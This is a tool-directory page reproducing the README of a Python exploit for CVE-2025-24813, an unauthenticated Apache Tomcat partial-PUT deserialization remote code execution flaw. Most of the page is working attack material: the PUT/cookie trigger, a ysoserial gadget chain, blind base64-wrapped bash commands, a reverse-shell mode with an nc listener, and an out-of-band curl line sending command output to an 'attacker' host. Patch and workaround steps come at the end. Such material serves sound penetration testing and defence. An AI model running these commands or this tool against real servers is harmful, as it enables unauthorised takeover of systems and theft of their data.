Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-24813 — Python PoC exploiting CVE-2025-24813, an Apache Tomcat partial PUT deserialization RCE. Auto-detects vulnerable variants, supports blind command execution and reverse shells. | Kitploit
Tools/GitHubGitHub/e5dfdd568a75282b712b6d93a7a18e12/cve-2025-24813
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed TeamingRemote Access Tool

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
GitHub
e5dfdd568a75282b712b6d93a7a18e12/cve-2025-24813

CVE-2025-24813

Python PoC exploiting CVE-2025-24813, an Apache Tomcat partial PUT deserialization RCE. Auto-detects vulnerable variants, supports blind command execution and reverse shells.

View Repository
16h 59m agoNot yet reviewed
Share

CVE-2025-24813 — Apache Tomcat Partial PUT Deserialization RCE

Severity: Critical (CVSS 9.8) Auth required: None Affected: Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 Patched in: Tomcat 9.0.99 / 10.1.35 / 11.0.3


How It Works

Apache Tomcat supports partial PUT (chunked upload via Content-Range). When a partial PUT arrives, Tomcat stages the body in a temp file under:

root@kitploit:~
$CATALINA_HOME/work/…/<url-path-filename>

If the application is configured with PersistentManager + FileStore in context.xml, Tomcat automatically reads *.session files from the same work directory and deserializes them to restore sessions.

Combining these two behaviours:

root@kitploit:~
PUT /<sid>.session        →  writes Java-serialized payload to work/<sid>.session
GET /  Cookie: JSESSIONID=.<sid>   →  Tomcat loads & deserializes the file  →  RCE

The leading dot (.) in the cookie value triggers absolute-path session lookup (variant B), which is the path that reliably reaches the staged file.


Gadget Chain

This PoC uses CommonsCollections6 from ysoserial, which works on Java 8–17 without @jdk.internal flags and does not depend on sun.reflect.SerializationConstructorAccessorImpl.

root@kitploit:~
ObjectInputStream.readObject()
  └─ HashSet.readObject()
       └─ TiedMapEntry.hashCode()
            └─ LazyMap.get()
                 └─ ChainedTransformer.transform()
                      └─ InvokerTransformer → Runtime.exec(command)

Identify (Is the Target Vulnerable?)

Step 1 — Confirm Tomcat and version

root@kitploit:~
curl -sI http://target:9090/ | grep -i server
# Look for: Apache-Coyote/1.1  or  Apache Tomcat

Step 2 — Check partial PUT is enabled

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# 201 Created = partial PUT enabled  (vulnerable prerequisite met)
# 403/405     = partial PUT disabled (not vulnerable via this path)

Step 3 — Run the PoC (auto-detect)

root@kitploit:~
python3 autopwn.py http://target:9090 --command "id"
# Vulnerable  → one line shows GET=500 + "<<<< 500 = FIRED!"
# Not vuln    → all lines show GET=200, no 500

Exploit Output Explained

root@kitploit:~
[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=pwn1   [A(no-dot)]     GET=200
[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=.pwn2  [B(dot-prefix)] GET=500  <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session        PUT=409 cookie=JSESSIONID=pwn3   [A(no-dot)]     GET=200
...
[+] Target is VULNERABLE!  Winning variant: B(dot-prefix)
    upload path : /{sid}.session
    trigger     : Cookie: JSESSIONID=.pwn2
StatusMeaning
PUT 201File staged in Tomcat work dir
PUT 409Path blocked (traversal rejected)
GET 200Session not found / not deserialized
GET 500Deserialization triggered → RCE

Encoded vs Raw Payload — Why It Matters

The upload is a raw binary Java serialized stream — no URL encoding. Unlike HTTP query-parameter exploits, the payload goes in the request body via PUT, so there is no URL-encoding layer to fight:

root@kitploit:~
PUT /{sid}.session HTTP/1.1
Content-Type: application/octet-stream
Content-Range: bytes 0-1274/1375

\xac\xed\x00\x05\x73\x72...  (raw serialized bytes — CommonsCollections6)

The Content-Range header signals a partial upload; Tomcat writes the body to disk as-is, preserving every byte of the serialized payload.


Usage

Requirements

root@kitploit:~
pip install requests
# Java runtime in PATH
# ysoserial.jar in current directory (or pass --ysoserial <path>)

Blind command (output goes to server only)

root@kitploit:~
python3 autopwn.py http://192.168.61.148:9090 --command "id"

Read output via webroot file

root@kitploit:~
# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)

python3 autopwn.py http://192.168.61.148:9090 \
    --command "bash -c {echo,$B64}|{base64,-d}|bash"

# Fetch the result
curl http://192.168.61.148:9090/idout.txt

Reverse shell

root@kitploit:~
# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
    --revshell --lhost 192.168.61.10 --lport 4444

The script auto-detects variant A/B, stops after the first hit, and prints the winning path so you know exactly what worked.

All options

root@kitploit:~
positional arguments:
  target                Target base URL (e.g. http://192.168.61.148:9090)

options:
  --command CMD         Command to execute (blind mode, default: id)
  --revshell            Send reverse shell instead of blind command
  --lhost LHOST         Listener IP  (required with --revshell)
  --lport LPORT         Listener port (required with --revshell)
  --gadget GADGET       ysoserial gadget chain (default: CommonsCollections6)
  --ysoserial PATH      Path to ysoserial jar (default: ysoserial.jar)
  --sid SID             Session ID prefix for upload filenames (default: pwn)
  --no-ssl-verify       Disable SSL certificate verification

Why Blind RCE? How to Get Output

CVE-2025-24813 is blind — Runtime.exec() runs the command, but its stdout/stderr are discarded; the HTTP response only reflects whether deserialization succeeded (500) or not (200).

Three ways to get output:

MethodHow
Webroot fileRedirect output to a file in /…/webapps/ROOT/, fetch via HTTP
Reverse shell--revshell flag — get an interactive shell, run any command live
DNS/OOB`curl http://attacker/$(id

Fix / Mitigation

Patch (Recommended)

BranchVulnerablePatched
9.x9.0.0.M1 – 9.0.989.0.99+
10.1.x10.1.0-M1 – 10.1.3410.1.35+
11.x11.0.0-M1 – 11.0.211.0.3+
root@kitploit:~
# Check installed version
$CATALINA_HOME/bin/catalina.sh version | grep "Server version"

Workaround — Disable partial PUT

In $CATALINA_HOME/conf/web.xml, find the DefaultServlet init-param and set:

root@kitploit:~
<init-param>
    <param-name>readonly</param-name>
    <param-value>true</param-value>
</init-param>

Or disable PersistentManager in context.xml if it is not required:

root@kitploit:~
<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!--   <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->

Verification After Patching

root@kitploit:~
# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# Patched   → 403 / 405
# Vulnerable → 201

# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched   → all GET=200, no 500

References

  • NVD — CVE-2025-24813
  • Apache Tomcat Security Advisory (9.x)
  • ysoserial

For authorized security testing and educational purposes only.

Download Tool